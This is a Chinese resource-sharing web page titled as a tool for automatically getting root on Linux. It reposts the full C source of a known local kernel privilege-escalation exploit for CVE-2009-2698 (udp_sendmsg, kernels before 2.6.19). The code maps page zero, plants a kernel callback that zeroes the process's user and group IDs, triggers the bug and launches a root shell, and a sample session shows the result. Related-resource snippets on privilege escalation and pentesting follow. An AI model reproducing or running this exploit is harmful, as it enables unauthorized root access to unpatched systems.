`

Linux本地自动获取root权限工具

 
阅读更多

/***********************************************************

* hoagie_udp_sendmsg.c

* LOCAL LINUX KERNEL ROOT EXPLOIT (< 2.6.19) - CVE-2009-2698

*

* udp_sendmsg bug exploit via (*output) callback function

* used in dst_entry / rtable

*

* Bug reported by Tavis Ormandy and Julien Tinnes

* of the Google Security Team

*

* Tested with Debian Etch (r0)

*

* $ cat /etc/debian_version

* 4.0

* $ uname -a

* Linux debian 2.6.18-4-686 #1 SMP Mon Mar 26 17:17:36 UTC 2007 i686 GNU/Linux

* $ gcc hoagie_udp_sendmsg.c -o hoagie_udp_sendmsg

* $ ./hoagie_udp_sendmsg

* hoagie_udp_sendmsg.c - linux root < 2.6.19 local

* -andi / void.at

*

* sh-3.1# id

* uid=0(root) gid=0(root) Gruppen=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(andi)

* sh-3.1#

*

* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-

* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY

* DAMAGE DONE USING THIS PROGRAM.

*

* VOID.AT Security

* andi@void.at

* http://www.void.at

*

************************************************************/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <errno.h>

#include <unistd.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <sys/socket.h>

#include <sys/mman.h>

/**

* this code will be called from NF_HOOK via (*output) callback in kernel mode

*/

void set_current_task_uids_gids_to_zero() {

   asm("push %eax\n"

       "movl $0xffffe000, %eax\n"

       "andl %esp, %eax\n"

       "movl (%eax), %eax\n"

       "movl $0x0, 0x150(%eax)\n"

       "movl $0x0, 0x154(%eax)\n"

       "movl $0x0, 0x158(%eax)\n"

       "movl $0x0, 0x15a(%eax)\n"

       "movl $0x0, 0x160(%eax)\n"

       "movl $0x0, 0x164(%eax)\n"

       "movl $0x0, 0x168(%eax)\n"

       "movl $0x0, 0x16a(%eax)\n"

       "pop  %eax\n");

}

int main(int argc, char **argv) {

   int s;

   struct msghdr header;

   struct sockaddr_in sin;

   char *rtable = NULL;

   fprintf(stderr,

           "hoagie_udp_sendmsg.c - linux root <= 2.6.19 local\n"

                  "-andi / void.at\n\n");

   s = socket(PF_INET, SOCK_DGRAM, 0);

   if (s == -1) {

      fprintf(stderr, "[*] can't create socket\n");

      exit(-1);

   }

   /**

    * initialize required variables

    */

   memset(&header, 0, sizeof(struct msghdr));

   memset(&sin, 0, sizeof(struct sockaddr_in));

   sin.sin_family = AF_INET;

   sin.sin_addr.s_addr = inet_addr("127.0.0.1");

   sin.sin_port = htons(22);

   header.msg_name = &sin;

   header.msg_namelen = sizeof(sin);

   /**

    * and this is the trick:

    * we can use (*output)(struct sk_buff*) from dst_entry (used by rtable) as a callback (=> offset 0x74)

    * so we map our rtable buffer at offset 0 and set output callback function

    *

    * struct dst_entry

    * {

    *         struct dst_entry        *next;

    *         atomic_t                __refcnt;       client references

    *         int                     __use;

    *         struct dst_entry        *child;

    *         struct net_device       *dev;

    *         short                   error;

    *         short                   obsolete;

    *         int                     flags;

    * #define DST_HOST                1

    * #define DST_NOXFRM              2

    * #define DST_NOPOLICY            4

    * #define DST_NOHASH              8

    * #define DST_BALANCED            0x10

    *         unsigned long           lastuse;

    *         unsigned long           expires;

    *

    *         unsigned short          header_len;     * more space at head required *

    *         unsigned short          trailer_len;    * space to reserve at tail *

    *

    *         u32                     metrics[RTAX_MAX];

    *         struct dst_entry        *path;

    *

    *         unsigned long           rate_last;      * rate limiting for ICMP *

    *         unsigned long           rate_tokens;

    *

    *         struct neighbour        *neighbour;

    *         struct hh_cache         *hh;

    *         struct xfrm_state       *xfrm;

    *

    *         int                     (*input)(struct sk_buff*);

    *         int                     (*output)(struct sk_buff*);

    *

    * #ifdef CONFIG_NET_CLS_ROUTE

    *         __u32                   tclassid;

    * #endif

    *

    *         struct  dst_ops         *ops;

    *         struct rcu_head         rcu_head;

    *

    *         char                    info[0];

    * };

    *

    * struct rtable

    * {

    *         union

    *         {

    *                 struct dst_entry        dst;

    *                 struct rtable           *rt_next;

    *         } u;

    *

    *         struct in_device        *idev;

    *

    *         unsigned                rt_flags;

    *         __u16                   rt_type;

    *         __u16                   rt_multipath_alg;

    *

    *         __be32                  rt_dst; * Path destination     *

    *         __be32                  rt_src; * Path source          *

    *         int                     rt_iif;

    *

    *         * Info on neighbour *

    *         __be32                  rt_gateway;

    *

    *         * Cache lookup keys *

    *         struct flowi            fl;

    *

    *         * Miscellaneous cached information *

    *          __be32                  rt_spec_dst; * RFC1122 specific destination *

    *         struct inet_peer        *peer; * long-living peer info *

    * };

    *

    */

   rtable = mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);

   if (rtable == MAP_FAILED) {

      fprintf(stderr, "[*] mmap failed\n");

      exit(-1);

   }

   *(int *)(rtable + 0x74) = (int)set_current_task_uids_gids_to_zero;

   /* trigger exploit

    *

    * the second sendmsg() call will call ip_append_data() with rt == NULL

    * because of:

    * if (up->pending) {

    *          *

    *          * There are pending frames.

    *          * The socket lock must be held while it's corked.

    *          *

    *          lock_sock(sk);

    *          if (likely(up->pending)) {

    *                    if (unlikely(up->pending != AF_INET)) {

    *                            release_sock(sk);

    *                            return -EINVAL;

    *                    }

    *                    goto do_append_data;

    *            }

    *            release_sock(sk);

    *    }

    *

    */

   sendmsg(s, &header, MSG_MORE|MSG_PROXY);

   sendmsg(s, &header, 0);

   close(s);

   system("/bin/sh");

   return 0;

}

分享到:
评论

相关推荐

    Linux获取指定端口服务信息,获取指定服务器端口号

    或者结合`sudo`命令获取root权限,查看受保护的端口信息。 在进行这些操作时,需要注意权限问题,有些系统敏感端口(如1024以下的端口)需要root权限才能查看。同时,了解`/proc`目录下的信息也很重要,比如`/proc/...

    基础知识什么是ROOT什么是ADB

    获取ROOT权限的方法因设备和Android版本的不同而异,通常涉及刷入第三方Recovery、使用专门的ROOT工具(如Magisk、SuperSU等)或执行特定的命令。但是,这通常需要一定的技术知识,且存在风险,因此建议新手在充分...

    linux 下的自动备份远程服务端的mysql数据库到本地

    本文将详细介绍如何在 Linux 系统下自动备份远程服务端的 MySQL 数据库到本地,包括使用 crontab 设置定时任务、mysqldump 工具导出数据库、mysql 命令导入数据库等操作。 作为一名 IT 从业者,在生产环境中备份...

    Windows,Linux等系统提权工具

    在IT安全领域中,系统提权(Privilege Escalation)是指攻击者通过利用操作系统中的漏洞或配置错误,将自身的权限提升到更高的级别,如Linux下的root权限或Windows下的Administrator权限。这通常涉及到一系列的技术...

    第63天:权限提升-Linux脏牛内核漏洞&SUID&信息收集1

    利用此漏洞,攻击者可以获取root权限。这个过程包括使用工具如linux-exploit-suggester来识别系统中的可利用漏洞,下载EXP,将其上传到系统,编译并执行。例如,`nmap`用于扫描网络,`search drupal`查找Drupal CMS...

    Linux内网渗透.doc

    Linux 内网渗透是指在获取了 Linux 系统权限后,进一步渗透和攻击内网的技术。本文将从拿到一个 Linux shell 开始,介绍 Linux 内网渗透技术,分为容器逃逸、Linux 提权、Linux 信息收集、Linux 隧道技术、Linux ...

    姜饼溢出程序可以一键root.rar

    运行这个批处理文件后,设备会"自动root和安装busybox",Busybox是一个包含许多Linux实用工具的小型软件集合,对于Root后的设备非常有用,因为它提供了很多基本的命令行功能。"要等待几分钟"提示用户Root过程可能...

    虚拟机Linux系统中安装SYNOPSYS工具图解教程汇编.pdf

    在虚拟机Linux系统中安装SYNOPSYS工具是一项关键任务,尤其对于电子设计自动化(EDA)领域的工程师来说。本教程详细介绍了在VTRON虚拟机中使用Fedora 10操作系统安装SYNOPSYS工具的过程。以下是一步步的详解: 首先...

    从本地软件库在Linux上安装MySQL.pdf

    通过本地软件库进行安装是一种简单有效的方法,尤其是对于那些希望使用其特定Linux发行版的标准包管理工具的用户。 #### 安装前准备 在开始安装之前,确保满足以下条件: 1. **操作系统**:确保您的Linux系统已更新...

    linux系统资源监控nmon工具的使用 pdf

    ### Linux系统资源监控工具nmon的使用详解 #### 一、概述 nmon是一款轻量级的系统资源监控工具,由IBM开发并免费提供给用户使用。它主要用于Linux和AIX系统的性能测试与分析,可以帮助用户实时监控系统资源的使用...

    系统硬件信息获取工具lshw-B.02.18源码

    4. **权限管理**:由于lshw可能涉及敏感的系统信息,所以一般需要以root权限运行。 通过lshw-B.02.18,Linux用户不仅可以了解到系统硬件的详细状况,还能在硬件升级、问题排查时找到准确的参考信息。这个工具对于...

    securecrt SecureCRT linux 服务器连接工具

    **SecureCRT:Linux服务器连接工具详解** SecureCRT是一款强大的终端模拟器软件,尤其在IT行业中,它被广泛用于远程连接Linux服务器,进行命令行操作。作为一个免安装的解决方案,SecureCRT提供了一种便捷的方式,...

    linux_win 模拟器

    【Linux_Win 模拟器】是一款专为在Windows环境下学习Linux设计的工具,它使得用户无需实际的虚拟机即可体验和操作Linux系统。这款模拟器对于初学者来说尤其便利,因为它提供了在Windows操作系统中无缝运行Linux...

    linux操作日志.docx

    Linux操作系统是许多IT专业人士在日常工作中经常使用的工具,尤其在服务器管理和软件开发中扮演着重要角色。本篇文章将深入探讨Linux操作日志、虚拟机与镜像、发布项目等相关知识点。 1. **基础操作** - **登录**...

    非root用户安装mysql5.6.40 使用Cmake构建.zip

    在Linux系统中,非root用户通常不具备全局权限,这使得在系统级安装软件变得复杂,尤其是像MySQL这样的数据库服务。然而,通过使用Cmake构建工具,可以实现非root用户安装MySQL 5.6.40版本。以下是详细的步骤和相关...

    linux finger安装包

    在Linux中,"finger"命令是一个历史悠久的工具,用于获取远程或本地用户的信息,包括用户名、登录名、终端类型、上次登录时间、主目录以及用户简介(如果有的话)。在Linux 6.0环境下,我们有时需要安装这个命令来...

    Linux 运维入门到高级.pdf

    - 动态网络配置则可以通过 DHCP 客户端自动获取。 #### 三、Linux 服务篇 **3.1 Linux 服务部署** - **3.1.1 构建 NTP 时间服务器** - NTP (Network Time Protocol) 用于同步网络中的计算机时钟。 - 配置过程...

    linux_install_mysql.doc

    在Linux环境下,MySQL的管理和维护还有很多高级话题,如配置文件的修改、权限管理、日志监控等,这些都是进阶使用者需要掌握的。希望这篇指南能帮助你快速入门Linux下的MySQL安装,让你在数据库管理的道路上更进一步...

    MySQL-Linux安装

    2. **下载Linux版MySQL安装包**:访问MySQL官方下载页面(https://downloads.mysql.com/archives/community/)获取MySQL 8.0.26版本的Linux安装包。 #### 二、上传MySQL安装包至服务器 完成下载后,可以通过FTP或...

    RED HAT LINUX 6大全

    1.3 在哪里可以获取Red Hat Linux 3 1.4 系统需求 3 1.5 小结 4 第2章 Red Hat系统的安装 5 2.1 准备,认真准备 5 2.2 安装Red Hat Linux 6 2.2.1 创建引导盘和辅助盘 6 2.2.2 不利用引导软盘进行安装 7 2.2.3 虚拟...

Global site tag (gtag.js) - Google Analytics